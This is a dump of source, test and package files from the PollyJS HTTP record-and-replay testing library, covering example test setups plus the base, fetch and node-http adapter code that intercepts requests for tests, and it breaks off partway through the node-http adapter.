() => {\n setupPolly({\n adapters: ['node-http'],\n persister: 'fs',\n persisterOptions: {\n fs: {\n recordingsDir: path.resolve(__dirname, '../__recordings__')\n }\n }\n });\n\n describe('posts', () => {\n it('should return post', async () => {\n const post = await posts('1');\n\n expect(post.id).toBe(1);\n expect(post.title).toBe(\n 'sunt aut facere repellat provident occaecati excepturi optio reprehenderit'\n );\n });\n });\n\n describe('users', () => {\n it('should return user', async () => {\n const user = await users('1');\n\n expect(user.id).toBe(1);\n expect(user.name).toBe('Leanne Graham');\n expect(user.email).toBe('[email protected]');\n });\n });\n});\n", "examples\\jest-puppeteer\\package.json": "{\n \"name\": \"@pollyjs/jest-puppeteer-example\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"license\": \"Apache-2.0\",\n \"scripts\": {\n \"postinstall\": \"(cd ../dummy-app && yarn install)\",\n \"test\": \"jest\"\n },\n \"devDependencies\": {\n \"@pollyjs/adapter-puppeteer\": \"^4.0.2\",\n \"@pollyjs/core\": \"^4.0.2\",\n \"@pollyjs/persister-fs\": \"^4.0.2\",\n \"jest\": \"^24.0.0\",\n \"jest-puppeteer\": \"^4.0.0\",\n \"puppeteer\": \"1.10.0\",\n \"setup-polly-jest\": \"^0.6.0\"\n }\n}\n", "examples\\jest-puppeteer\\__tests__\\dummy-app.test.js": "const path = require('path');\n\nconst { Polly } = require('@pollyjs/core');\nconst { setupPolly } = require('setup-polly-jest');\nconst PuppeteerAdapter = require('@pollyjs/adapter-puppeteer');\nconst FSPersister = require('@pollyjs/persister-fs');\n\nPolly.register(PuppeteerAdapter);\nPolly.register(FSPersister);\n\ndescribe('jest-puppeteer', () => {\n // NOTE: `context.polly` is not accessible until the jasmine/jest hook `before`\n // is called. This means it's not accessible in the same tick here. Worth mentioning\n // since it trolled me while debugging.\n const context = setupPolly({\n adapters: ['puppeteer'],\n // NOTE: `page` is set by jest.config.js preset \"jest-puppeteer\"\n adapterOptions: { puppeteer: { page } },\n persister: 'fs',\n persisterOptions: {\n fs: {\n recordingsDir: path.resolve(__dirname, '../__recordings__')\n }\n },\n matchRequestsBy: {\n headers: {\n exclude: ['user-agent']\n }\n }\n });\n\n beforeEach(async () => {\n jest.setTimeout(60000);\n\n await page.setRequestInterception(true);\n\n const { server } = context.polly;\n\n server.host('http://localhost:3000', () => {\n server.get('/sockjs-node/*').intercept((_, res) => res.sendStatus(200));\n });\n\n await page.goto('http://localhost:3000', { waitUntil: 'networkidle0' });\n });\n\n it('should be able to navigate to all routes', async () => {\n const header = await page.$('header');\n\n await expect(page).toMatchElement('tbody > tr', { timeout: 5000 });\n await expect(header).toMatch('Posts');\n\n await expect(page).toClick('a', { text: 'Todos' });\n await expect(page).toMatchElement('tbody > tr', { timeout: 5000 });\n await expect(header).toMatch('Todos');\n\n await expect(page).toClick('a', { text: 'Users' });\n await expect(page).toMatchElement('tbody > tr', { timeout: 5000 });\n await expect(header).toMatch('Users');\n\n // Wait for all requests to resolve, this can also be replaced with\n await context.polly.flush();\n });\n});\n", "examples\\node-fetch\\package.json": "{\n \"name\": \"@pollyjs/node-fetch-example\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"license\": \"Apache-2.0\",\n \"scripts\": {\n \"test\": \"mocha './tests/*.test.js'\"\n },\n \"devDependencies\": {\n \"@pollyjs/adapter-node-http\": \"*\",\n \"@pollyjs/core\": \"*\",\n \"@pollyjs/persister-fs\": \"*\",\n \"chai\": \"*\",\n \"mocha\": \"*\",\n \"node-fetch\": \"*\"\n }\n}\n", "examples\\puppeteer\\index.js": "const path = require('path');\n\nconst puppeteer = require('puppeteer');\nconst { Polly } = require('@pollyjs/core');\nconst PuppeteerAdapter = require('@pollyjs/adapter-puppeteer');\nconst FSPersister = require('@pollyjs/persister-fs');\n\nPolly.register(PuppeteerAdapter);\nPolly.register(FSPersister);\n\n(async () => {\n const browser = await puppeteer.launch({ headless: false });\n const page = await browser.newPage();\n\n await page.setRequestInterception(true);\n\n const polly = new Polly('puppeteer', {\n adapters: ['puppeteer'],\n adapterOptions: { puppeteer: { page } },\n persister: 'fs',\n persisterOptions: {\n fs: {\n recordingsDir: path.join(__dirname, 'recordings')\n }\n }\n });\n\n const { server } = polly;\n\n server.host('http://localhost:3000', () => {\n server.get('/favicon.ico').passthrough();\n server.get('/sockjs-node/*').intercept((_, res) => res.sendStatus(200));\n });\n\n await page.goto('http://localhost:3000', { waitUntil: 'networkidle0' });\n\n await polly.flush();\n await polly.stop();\n await browser.close();\n})();\n", "examples\\puppeteer\\package.json": "{\n \"name\": \"@pollyjs/puppeteer-example\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"license\": \"Apache-2.0\",\n \"scripts\": {\n \"postinstall\": \"(cd ../dummy-app && yarn install)\",\n \"start\": \"start-server-and-test start:server http://localhost:3000 start:puppeteer\",\n \"start:server\": \"(cd ../dummy-app && yarn start:ci)\",\n \"start:puppeteer\": \"node index.js\"\n },\n \"devDependencies\": {\n \"@pollyjs/adapter-puppeteer\": \"*\",\n \"@pollyjs/core\": \"*\",\n \"@pollyjs/persister-fs\": \"*\",\n \"puppeteer\": \"*\",\n \"start-server-and-test\": \"*\"\n }\n}\n", "examples\\rest-persister\\index.html": "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\" />\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n <title>REST Persister Tests</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n <link\n rel=\"stylesheet\"\n type=\"text/css\"\n href=\"./node_modules/mocha/mocha.css\"\n />\n </head>\n <body>\n <div id=\"mocha\"></div>\n\n <script src=\"./node_modules/mocha/mocha.js\"></script>\n <script src=\"./node_modules/chai/chai.js\"></script>\n <script src=\"./node_modules/@pollyjs/core/dist/umd/pollyjs-core.js\"></script>\n <script src=\"./node_modules/@pollyjs/adapter-fetch/dist/umd/pollyjs-adapter-fetch.js\"></script>\n <script src=\"./node_modules/@pollyjs/persister-rest/dist/umd/pollyjs-persister-rest.js\"></script>\n\n <script src=\"./tests/setup.js\"></script>\n <script src=\"./tests/rest-persister.test.js\"></script>\n\n <script>\n mocha.checkLeaks();\n mocha.run();\n </script>\n </body>\n</html>\n", "examples\\rest-persister\\package.json": "{\n \"name\": \"@pollyjs/rest-persister-example\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"license\": \"Apache-2.0\",\n \"scripts\": {\n \"test\": \"start-server-and-test test:polly-server http://localhost:3000 test:server\",\n \"test:server\": \"http-server -p 4000 -o -c-1 -s\",\n \"test:polly-server\": \"polly listen\"\n },\n \"devDependencies\": {\n \"@pollyjs/adapter-fetch\": \"*\",\n \"@pollyjs/cli\": \"*\",\n \"@pollyjs/core\": \"*\",\n \"@pollyjs/persister-rest\": \"*\",\n \"chai\": \"*\",\n \"http-server\": \"*\",\n \"mocha\": \"*\",\n \"start-server-and-test\": \"*\"\n }\n}\n", "examples\\typescript-jest-node-fetch\\package.json": "{\n \"name\": \"@pollyjs/typescript-jest-node-fetch-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"main\": \"./dist/index.js\",\n \"type\": \"commonjs\",\n \"exports\": \"./dist/index.js\",\n \"scripts\": {\n \"test\": \"jest --runInBand\",\n \"test:record\": \"POLLY_MODE=record jest --runInBand --verbose\"\n },\n \"keywords\": [\n \"pollyjs\",\n \"test-mocking\",\n \"jest\",\n \"node\",\n \"typescript\",\n \"fetch\"\n ],\n \"author\": \"\",\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"node-fetch\": \"^2.6.6\"\n },\n \"devDependencies\": {\n \"@pollyjs/adapter-fetch\": \"^5.1.1\",\n \"@pollyjs/adapter-node-http\": \"^5.1.1\",\n \"@pollyjs/core\": \"^5.1.1\",\n \"@pollyjs/node-server\": \"^5.1.1\",\n \"@pollyjs/persister-fs\": \"^5.1.1\",\n \"@types/jest\": \"^26.0.0\",\n \"@types/node\": \"^16.11.11\",\n \"@types/node-fetch\": \"^2.5.12\",\n \"@types/pollyjs__adapter\": \"^4.3.1\",\n \"@types/pollyjs__adapter-fetch\": \"^2.0.1\",\n \"@types/pollyjs__adapter-node-http\": \"^2.0.1\",\n \"@types/pollyjs__core\": \"^4.3.3\",\n \"@types/pollyjs__persister\": \"^4.3.1\",\n \"@types/pollyjs__persister-fs\": \"^2.0.1\",\n \"@types/pollyjs__utils\": \"^2.6.1\",\n \"@types/setup-polly-jest\": \"^0.5.1\",\n \"jest\": \"^26.6.0\",\n \"nodemon\": \"^2.0.15\",\n \"setup-polly-jest\": \"^0.10.0\",\n \"ts-jest\": \"^26.5.6\",\n \"ts-node\": \"^10.4.0\",\n \"typescript\": \"^4.5.2\"\n }\n}\n", "packages\\@pollyjs\\adapter\\package.json": "{\n \"name\": \"@pollyjs/adapter\",\n \"version\": \"6.0.6\",\n \"description\": \"Extendable base adapter class used by @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-adapter.js\",\n \"module\": \"dist/es/pollyjs-adapter.js\",\n \"browser\": \"dist/umd/pollyjs-adapter.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/adapter\",\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"build:watch\": \"yarn build -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"adapter\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"@pollyjs/utils\": \"^6.0.6\"\n },\n \"devDependencies\": {\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\adapter\\src\\index.js": "import {\n ACTIONS,\n MODES,\n EXPIRY_STRATEGIES,\n PollyError,\n Serializers,\n assert\n} from '@pollyjs/utils';\n\nimport isExpired from './utils/is-expired';\nimport stringifyRequest from './utils/stringify-request';\nimport normalizeRecordedResponse from './utils/normalize-recorded-response';\n\nconst REQUEST_HANDLER = Symbol();\n\nexport default class Adapter {\n constructor(polly) {\n this.polly = polly;\n this.isConnected = false;\n }\n\n static get type() {\n return 'adapter';\n }\n\n /* eslint-disable-next-line getter-return */\n static get id() {\n assert('Must override the static `id` getter.');\n }\n\n get defaultOptions() {\n return {};\n }\n\n get options() {\n return {\n ...(this.defaultOptions || {}),\n ...((this.polly.config.adapterOptions || {})[this.constructor.id] || {})\n };\n }\n\n get persister() {\n return this.polly.persister;\n }\n\n connect() {\n if (!this.isConnected) {\n this.onConnect();\n this.isConnected = true;\n\n this.polly.logger.log.debug(\n `Connected to ${this.constructor.id} adapter.`\n );\n }\n }\n\n onConnect() {\n this.assert('Must implement the `onConnect` hook.');\n }\n\n disconnect() {\n if (this.isConnected) {\n this.onDisconnect();\n this.isConnected = false;\n\n this.polly.logger.log.debug(\n `Disconnected from ${this.constructor.id} adapter.`\n );\n }\n }\n\n onDisconnect() {\n this.assert('Must implement the `onDisconnect` hook.');\n }\n\n timeout(pollyRequest, { time }) {\n const { timing } = pollyRequest.config;\n\n if (typeof timing === 'function') {\n return timing(time);\n }\n }\n\n async handleRequest(request) {\n const pollyRequest = this.polly.registerRequest(request);\n\n try {\n pollyRequest.on('identify', (...args) => this.onIdentifyRequest(...args));\n\n await this.onRequest(pollyRequest);\n await pollyRequest.init();\n await this[REQUEST_HANDLER](pollyRequest);\n\n if (pollyRequest.aborted) {\n throw new PollyError('Request aborted.');\n }\n\n await this.onRequestFinished(pollyRequest);\n } catch (error) {\n await this.onRequestFailed(pollyRequest, error);\n }\n\n return pollyRequest;\n }\n\n async [REQUEST_HANDLER](pollyRequest) {\n const { mode } = this.polly;\n const { _interceptor: interceptor } = pollyRequest;\n\n if (pollyRequest.aborted) {\n return;\n }\n\n if (pollyRequest.shouldIntercept) {\n await this.intercept(pollyRequest, interceptor);\n\n if (interceptor.shouldIntercept) {\n return;\n }\n }\n\n if (\n mode === MODES.PASSTHROUGH ||\n pollyRequest.shouldPassthrough ||\n interceptor.shouldPassthrough\n ) {\n return this.passthrough(pollyRequest);\n }\n\n this.assert(\n 'A persister must be configured in order to record and replay requests.',\n !!this.persister\n );\n\n if (mode === MODES.RECORD) {\n return this.record(pollyRequest);\n }\n\n if (mode === MODES.REPLAY) {\n return this.replay(pollyRequest);\n }\n\n // This should never be reached. If it did, then something screwy happened.\n this.assert(\n 'Unhandled request: \\n' + stringifyRequest(pollyRequest, null, 2)\n );\n }\n\n async passthrough(pollyRequest) {\n pollyRequest.action = ACTIONS.PASSTHROUGH;\n\n return this.onPassthrough(pollyRequest);\n }\n\n /**\n * @param {PollyRequest} pollyRequest\n */\n async onPassthrough(pollyRequest) {\n const response = await this.onFetchResponse(pollyRequest);\n\n await pollyRequest.respond(response);\n }\n\n async intercept(pollyRequest, interceptor) {\n pollyRequest.action = ACTIONS.INTERCEPT;\n await pollyRequest._intercept(interceptor);\n\n if (interceptor.shouldIntercept) {\n return this.onIntercept(pollyRequest, pollyRequest.response);\n }\n }\n\n /**\n * @param {PollyRequest} pollyRequest\n * @param {PollyResponse} pollyResponse\n */\n async onIntercept(pollyRequest, pollyResponse) {\n await pollyRequest.respond(pollyResponse);\n }\n\n async record(pollyRequest) {\n pollyRequest.action = ACTIONS.RECORD;\n\n if ('navigator' in global && !navigator.onLine) {\n pollyRequest.log.warn(\n '[Polly] Recording may fail because the browser is offline.\\n' +\n `${stringifyRequest(pollyRequest)}`\n );\n }\n\n return this.onRecord(pollyRequest);\n }\n\n /**\n * @param {PollyRequest} pollyRequest\n */\n async onRecord(pollyRequest) {\n await this.onPassthrough(pollyRequest);\n\n if (!pollyRequest.aborted) {\n await this.persister.recordRequest(pollyRequest);\n }\n }\n\n async replay(pollyRequest) {\n const { config } = pollyRequest;\n const recordingEntry = await this.persister.findEntry(pollyRequest);\n\n if (recordingEntry) {\n /*\n Clone the recording entry so any changes will not actually persist to\n the stored recording.\n\n Note: Using JSON.parse/stringify instead of lodash/cloneDeep since\n the recording entry is stored as json.\n */\n const clonedRecordingEntry = JSON.parse(JSON.stringify(recordingEntry));\n\n await pollyRequest._emit('beforeReplay', clonedRecordingEntry);\n\n if (isExpired(clonedRecordingEntry.startedDateTime, config.expiresIn)) {\n const message =\n 'Recording for the following request has expired.\\n' +\n `${stringifyRequest(pollyRequest, null, 2)}`;\n\n switch (config.expiryStrategy) {\n // exit into the record flow if expiryStrategy is \"record\".\n case EXPIRY_STRATEGIES.RECORD:\n return this.record(pollyRequest);\n // throw an error and exit if expiryStrategy is \"error\".\n case EXPIRY_STRATEGIES.ERROR:\n this.assert(message);\n break;\n // log a warning and continue if expiryStrategy is \"warn\".\n case EXPIRY_STRATEGIES.WARN:\n pollyRequest.log.warn(`[Polly] ${message}`);\n break;\n // throw an error if we encounter an unsupported expiryStrategy.\n default:\n this.assert(\n `Invalid config option passed for \"expiryStrategy\": \"${config.expiryStrategy}\"`\n );\n break;\n }\n }\n\n await this.timeout(pollyRequest, clonedRecordingEntry);\n pollyRequest.action = ACTIONS.REPLAY;\n\n return this.onReplay(\n pollyRequest,\n normalizeRecordedResponse(clonedRecordingEntry.response),\n clonedRecordingEntry\n );\n }\n\n if (config.recordIfMissing) {\n return this.record(pollyRequest);\n }\n\n this.assert(\n 'Recording for the following request is not found and `recordIfMissing` is `false`.\\n' +\n stringifyRequest(pollyRequest, null, 2)\n );\n }\n\n /**\n * @param {PollyRequest} pollyRequest\n * @param {Object} normalizedResponse The normalized response generated from the recording entry\n * @param {Object} recordingEntry The entire recording entry\n */\n async onReplay(pollyRequest, normalizedResponse) {\n await pollyRequest.respond(normalizedResponse);\n }\n\n assert(message, ...args) {\n assert(\n `[${this.constructor.type}:${this.constructor.id}] ${message}`,\n ...args\n );\n }\n\n /**\n * @param {PollyRequest} pollyRequest\n */\n onRequest() {}\n\n /**\n * @param {PollyRequest} pollyRequest\n */\n async onIdentifyRequest(pollyRequest) {\n const { identifiers } = pollyRequest;\n\n // Serialize the request body so it can be properly hashed\n for (const type of ['blob', 'formData', 'buffer']) {\n identifiers.body = await Serializers[type](identifiers.body);\n }\n }\n\n /**\n * @param {PollyRequest} pollyRequest\n */\n async onRequestFinished(pollyRequest) {\n await this.onRespond(pollyRequest);\n pollyRequest.promise.resolve();\n }\n\n /**\n * @param {PollyRequest} pollyRequest\n * @param {Error} [error]\n */\n async onRequestFailed(pollyRequest, error) {\n const { aborted } = pollyRequest;\n\n error = error || new PollyError('Request failed due to an unknown error.');\n\n try {\n if (aborted) {\n await pollyRequest._emit('abort');\n } else {\n await pollyRequest._emit('error', error);\n }\n\n await this.onRespond(pollyRequest, error);\n } finally {\n pollyRequest.promise.reject(error);\n }\n }\n\n /**\n * Make sure the response from a Polly request is delivered to the\n * user through the adapter interface.\n *\n * Calling `pollyjs.flush()` will await this method.\n *\n * @param {PollyRequest} pollyRequest\n * @param {Error} [error]\n */\n async onRespond(/* pollyRequest, error */) {}\n\n /**\n * @param {PollyRequest} pollyRequest\n * @returns {Object({ statusCode: number, headers: Object, body: string })}\n */\n async onFetchResponse(/* pollyRequest */) {\n this.assert('Must implement the `onFetchResponse` hook.');\n }\n}\n", "packages\\@pollyjs\\adapter-fetch\\package.json": "{\n \"name\": \"@pollyjs/adapter-fetch\",\n \"version\": \"6.0.6\",\n \"description\": \"Fetch adapter for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-adapter-fetch.js\",\n \"module\": \"dist/es/pollyjs-adapter-fetch.js\",\n \"browser\": \"dist/umd/pollyjs-adapter-fetch.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/adapter-fetch\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"fetch\",\n \"adapter\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"rollup -c ../../../scripts/rollup/default.config.js\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"build:watch\": \"yarn build -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"dependencies\": {\n \"@pollyjs/adapter\": \"^6.0.6\",\n \"@pollyjs/utils\": \"^6.0.6\",\n \"detect-node\": \"^2.1.0\",\n \"to-arraybuffer\": \"^1.0.1\"\n },\n \"devDependencies\": {\n \"@pollyjs/core\": \"^6.0.6\",\n \"@pollyjs/persister-local-storage\": \"^6.0.6\",\n \"@pollyjs/persister-rest\": \"^6.0.6\",\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\adapter-fetch\\src\\index.js": "import Adapter from '@pollyjs/adapter';\nimport { cloneArrayBuffer, isBufferUtf8Representable } from '@pollyjs/utils';\nimport isNode from 'detect-node';\nimport { Buffer } from 'buffer/';\nimport bufferToArrayBuffer from 'to-arraybuffer';\n\nimport serializeHeaders from './utils/serializer-headers';\n\nconst { defineProperty } = Object;\nconst IS_STUBBED = Symbol();\nconst ABORT_HANDLER = Symbol();\nconst REQUEST_ARGUMENTS = Symbol();\n\nexport default class FetchAdapter extends Adapter {\n static get id() {\n return 'fetch';\n }\n\n get defaultOptions() {\n return {\n context: global\n };\n }\n\n onConnect() {\n const { context } = this.options;\n\n if (isNode) {\n this.polly.logger.log.warn(\n '[Polly] [adapter:fetch] Using the fetch adapter in Node has been deprecated. Please use the node-http adapter instead.'\n );\n }\n\n ['fetch', 'Request', 'Response', 'Headers'].forEach((key) =>\n this.assert(`${key} global not found.`, !!(context && context[key]))\n );\n this.assert(\n 'Running concurrent fetch adapters is unsupported, stop any running Polly instances.',\n !context.fetch[IS_STUBBED] && !context.Request[IS_STUBBED]\n );\n\n this.nativeFetch = context.fetch;\n this.NativeRequest = context.Request;\n\n const NativeRequest = this.NativeRequest;\n\n /*\n Patch the Request constructor so we can store all the passed in options.\n This allows us to access the `body` directly instead of having to do\n `await req.blob()` as well as not having to hard code each option we want\n to extract from the Request instance.\n */\n context.Request = function Request(url, options) {\n const request = new NativeRequest(url, options);\n let args;\n\n options = options || {};\n\n /*\n The Request constructor can receive another Request instance as\n the first argument so we use its arguments and merge it with the\n new options.\n */\n if (typeof url === 'object' && url[REQUEST_ARGUMENTS]) {\n const reqArgs = url[REQUEST_ARGUMENTS];\n\n args = { ...reqArgs, options: { ...reqArgs.options, ...options } };\n } else {\n args = { url, options };\n }\n\n defineProperty(request, REQUEST_ARGUMENTS, { value: args });\n\n // Override the clone method to use our overridden constructor\n request.clone = function clone() {\n return new context.Request(request);\n };\n\n return request;\n };\n\n defineProperty(context.Request, IS_STUBBED, { value: true });\n\n context.fetch = (url, options = {}) => {\n let respond;\n\n // Support Request object\n if (typeof url === 'object' && url[REQUEST_ARGUMENTS]) {\n const req = url;\n const reqArgs = req[REQUEST_ARGUMENTS];\n\n url = reqArgs.url;\n options = { ...reqArgs.options, ...options };\n\n // If a body exists in the Request instance, mimic reading the body\n if ('body' in reqArgs.options) {\n defineProperty(req, 'bodyUsed', { value: true });\n }\n }\n\n const promise = new Promise((resolve, reject) => {\n respond = ({ response, error }) => {\n if (error) {\n reject(error);\n } else {\n resolve(response);\n }\n };\n });\n\n this.handleRequest({\n url,\n method: options.method || 'GET',\n headers: serializeHeaders(new context.Headers(options.headers)),\n body: options.body,\n requestArguments: { options, respond }\n });\n\n return promise;\n };\n\n defineProperty(context.fetch, IS_STUBBED, { value: true });\n }\n\n onDisconnect() {\n const { context } = this.options;\n\n context.fetch = this.nativeFetch;\n context.Request = this.NativeRequest;\n\n this.nativeFetch = null;\n this.NativeRequest = null;\n }\n\n onRequest(pollyRequest) {\n const {\n options: { signal }\n } = pollyRequest.requestArguments;\n\n if (signal) {\n if (signal.aborted) {\n pollyRequest.abort();\n } else {\n pollyRequest[ABORT_HANDLER] = () => pollyRequest.abort();\n signal.addEventListener('abort', pollyRequest[ABORT_HANDLER]);\n }\n }\n }\n\n async onFetchResponse(pollyRequest) {\n const { context } = this.options;\n const { options } = pollyRequest.requestArguments;\n\n const response = await this.nativeFetch.apply(context, [\n pollyRequest.url,\n {\n ...options,\n method: pollyRequest.method,\n headers: pollyRequest.headers,\n body: pollyRequest.body\n }\n ]);\n\n let arrayBuffer = await response.arrayBuffer();\n\n /*\n If the returned array buffer is not an instance of the global ArrayBuffer,\n clone it in order to pass Buffer.from's instanceof check. This can happen\n when using this adapter with a different context.\n\n https://github.com/feross/buffer/issues/289\n */\n if (\n arrayBuffer &&\n !(arrayBuffer instanceof ArrayBuffer) &&\n 'byteLength' in arrayBuffer\n ) {\n arrayBuffer = cloneArrayBuffer(arrayBuffer);\n }\n\n const buffer = Buffer.from(arrayBuffer);\n const isBinaryBuffer = !isBufferUtf8Representable(buffer);\n\n return {\n statusCode: response.status,\n headers: serializeHeaders(response.headers),\n body: buffer.toString(isBinaryBuffer ? 'base64' : 'utf8'),\n encoding: isBinaryBuffer ? 'base64' : undefined\n };\n }\n\n onRespond(pollyRequest, error) {\n const {\n context: { Response }\n } = this.options;\n const {\n respond,\n options: { signal }\n } = pollyRequest.requestArguments;\n\n if (signal && pollyRequest[ABORT_HANDLER]) {\n signal.removeEventListener('abort', pollyRequest[ABORT_HANDLER]);\n }\n\n if (pollyRequest.aborted) {\n respond({\n error: new DOMException('The user aborted a request.', 'AbortError')\n });\n\n return;\n }\n\n if (error) {\n respond({ error });\n\n return;\n }\n\n const { absoluteUrl, response: pollyResponse } = pollyRequest;\n const { statusCode, body, encoding } = pollyResponse;\n\n let responseBody = body;\n\n if (statusCode === 204 && responseBody === '') {\n responseBody = null;\n } else if (encoding) {\n responseBody = bufferToArrayBuffer(Buffer.from(body, encoding));\n }\n\n const response = new Response(responseBody, {\n status: statusCode,\n statusText: pollyResponse.statusText,\n headers: pollyResponse.headers\n });\n\n /*\n Response does not allow `url` to be set manually (either via the\n constructor or assignment) so force the url property via `defineProperty`.\n */\n defineProperty(response, 'url', { value: absoluteUrl });\n\n respond({ response });\n }\n}\n", "packages\\@pollyjs\\adapter-node-http\\package.json": "{\n \"name\": \"@pollyjs/adapter-node-http\",\n \"version\": \"6.0.6\",\n \"description\": \"Node HTTP adapter for @pollyjs\",\n \"main\": \"dist/cjs/pollyjs-adapter-node-http.js\",\n \"module\": \"dist/es/pollyjs-adapter-node-http.js\",\n \"types\": \"types.d.ts\",\n \"files\": [\n \"src\",\n \"dist\",\n \"types.d.ts\"\n ],\n \"repository\": \"https://github.com/netflix/pollyjs/tree/master/packages/@pollyjs/adapter-node-http\",\n \"license\": \"Apache-2.0\",\n \"contributors\": [\n {\n \"name\": \"Yasin Uslu\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"keywords\": [\n \"polly\",\n \"pollyjs\",\n \"record\",\n \"replay\",\n \"http\",\n \"adapter\"\n ],\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"scripts\": {\n \"build\": \"rollup -c\",\n \"test:build\": \"rollup -c rollup.config.test.js\",\n \"test:build:watch\": \"rollup -c rollup.config.test.js -w\",\n \"build:watch\": \"yarn build -w\",\n \"watch-all\": \"npm-run-all --parallel build:watch test:build:watch\"\n },\n \"dependencies\": {\n \"@pollyjs/adapter\": \"^6.0.6\",\n \"@pollyjs/utils\": \"^6.0.6\",\n \"lodash-es\": \"^4.17.21\",\n \"nock\": \"^13.2.1\"\n },\n \"devDependencies\": {\n \"@pollyjs/core\": \"^6.0.6\",\n \"@pollyjs/persister-fs\": \"^6.0.6\",\n \"form-data\": \"^4.0.0\",\n \"get-stream\": \"^6.0.1\",\n \"node-fetch\": \"^2.6.6\",\n \"rollup\": \"^1.14.6\"\n }\n}\n", "packages\\@pollyjs\\adapter-node-http\\src\\index.js": "import http from 'http';\nimport https from 'https';\nimport { URL } from 'url';\nimport { Readable as ReadableStream } from 'stream';\n\nimport nock from 'nock';\nimport {\n normalizeClientRequestArgs,\n isUtf8Representable,\n isContentEncoded\n} from 'nock/lib/common';\nimport Adapter from '@pollyjs/adapter';\nimport { HTTP_METHODS } from '@pollyjs/utils';\n\nimport getUrlFromOptions from './utils/get-url-from-options';\nimport mergeChunks from './utils/merge-chunks';\nimport urlToOptions from './utils/url-to-options';\n\nconst IS_STUBBED = Symbol();\nconst ABORT_HANDLER = Symbol();\nconst REQUEST_ARGUMENTS = new WeakMap();\n\n// nock begins to intercept network requests on import which is not the\n// behavior we want, so restore the original behavior right away.\nnock.restore();\n\nexport default class HttpAdapter extends Adapter {\n static get id() {\n return 'node-http';\n }\n\n onConnect() {\n this.assert(\n 'Running concurrent node-http adapters is unsupported, stop any running Polly instances.',\n !http.ClientRequest[IS_STUBBED]\n );\n this.assert(\n 'Running nock concurrently with the node-http adapter is unsupported. Run nock.restore() before connecting to this adapter.',\n !nock.isActive()\n );\n\n this.NativeClientRequest = http.ClientRequest;\n this.setupNock();\n\n // Patch methods overridden by nock to add some missing functionality\n this.patchOverriddenMethods();\n }\n\n onDisconnect() {\n this.unpatchOverriddenMethods();\n nock.cleanAll();\n nock.restore();\n this.NativeClientRequest = null;\n }\n\n setupNock() {\n const adapter = this;\n\n // Make sure there aren't any other interceptors defined\n nock.cleanAll();\n\n // Create our interceptor that will match all hosts\n const interceptor = nock(/.*/).persist();\n\n HTTP_METHODS.forEach((m) => {\n // Add an intercept for each supported HTTP method that will match all paths\n interceptor.intercept(/.*/, m).reply(function (_, _body, respond) {\n const { req, method } = this;\n const { headers } = req;\n const parsedArguments = normalizeClientRequestArgs(\n ...REQUEST_ARGUMENTS.get(req)\n );\n const url = getUrlFromOptions(parsedArguments.options);\n const requestBodyBuffer = Buffer.concat(req.requestBodyBuffers);\n const body = isUtf8Representable(requestBodyBuffer)\n ? requestBodyBuffer.toString('utf8')\n : requestBodyBuffer;\n\n adapter.handleRequest({\n url,\n method,\n headers,\n body,\n requestArguments: { req, body, respond, parsedArguments }\n });\n });\n });\n\n // Activate nock so it can start to intercept all outgoing requests\n nock.activate();\n }\n\n patchOverriddenMethods() {\n const modules = { http, https };\n const { ClientRequest } = http;\n\n // Patch the already overridden ClientRequest class so we can get\n // access to the original arguments and use them when creating the\n // passthrough request.\n http.ClientRequest = function _ClientRequest() {\n const req = new ClientRequest(...arguments);\n\n REQUEST_ARGUMENTS.set(req, [...arguments]);\n\n return req;\n };\n\n // Add an IS_STUBBED boolean so we can check on onConnect if we've already\n // patched the necessary methods.\n http.ClientRequest[IS_STUBBED] = true;\n\n // Patch http.request, http.get, https.request, and https.get\n // to set some default values which nock doesn't properly set.\n Object.keys(modules).forEach((moduleName) => {\n const module = modules[moduleName];\n const { request, get, globalAgent } = module;\n\n this[moduleName] = {\n get,\n request\n };\n\n function parseArgs() {\n const args = normalizeClientRequestArgs(...arguments);\n\n if (moduleName === 'https') {\n args.options = {\n ...{ port: 443, protocol: 'https:', 